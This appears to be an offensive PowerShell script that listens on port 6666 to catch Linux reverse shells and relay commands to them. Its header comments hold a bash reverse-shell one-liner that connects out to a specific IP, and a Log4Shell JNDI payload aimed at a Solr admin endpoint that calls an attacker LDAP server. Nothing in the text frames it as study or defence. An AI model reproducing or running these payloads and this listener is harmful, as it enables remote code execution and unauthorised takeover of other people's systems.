# https://ares-x.com/tools/runtime-exec
# bash -i >& /dev/tcp/10.174.179.160/6666 0>&1
# http://9.82.196.139:8080/solr/admin/cores?action=${jndi:ldap://9.82.201.6:1389/wbyfhr}
# LinuxShellListener.ps1

param(
    [string]$ListenAddress = "0.0.0.0",
    [int]$Port = 6666
)

try {
    $ip = [System.Net.IPAddress]::Parse($ListenAddress)
    $listener = New-Object System.Net.Sockets.TcpListener($ip, $Port)
    $listener.Start()
    
    Write-Host "Linux Shell Listener Started" -ForegroundColor Green
    Write-Host "Waiting for Linux shell connection..." -ForegroundColor Yellow
    
    $client = $listener.AcceptTcpClient()
    $stream = $client.GetStream()
    $encoding = [System.Text.Encoding]::UTF8
    
    Write-Host "Linux shell connected! You can now type commands." -ForegroundColor Green
    Write-Host "Note: Use Linux commands (ls, pwd, whoami, etc.)" -ForegroundColor Cyan

    # Send initial reset command
    $resetCmd = $encoding.GetBytes("reset`n")
    $stream.Write($resetCmd, 0, $resetCmd.Length)
    $stream.Flush()

    while ($client.Connected) {
        # Read output from shell
        if ($stream.DataAvailable) {
            $buffer = New-Object byte[] 4096
            $bytesRead = $stream.Read($buffer, 0, $buffer.Length)
            if ($bytesRead -gt 0) {
                $output = $encoding.GetString($buffer, 0, $bytesRead)
                Write-Host $output -NoNewline
            }
        }
        
        # Send commands to shell
        if ([Console]::KeyAvailable) {
            $input = Read-Host
            if ($input -eq "exit") {
                break
            }
            $inputBytes = $encoding.GetBytes($input + "`n")
            $stream.Write($inputBytes, 0, $inputBytes.Length)
            $stream.Flush()
        }
        
        Start-Sleep -Milliseconds 50
    }
}
catch {
    Write-Host "Error: $($_.Exception.Message)" -ForegroundColor Red
}
finally {
    if ($listener) { $listener.Stop() }
    Write-Host "Listener stopped" -ForegroundColor Yellow
}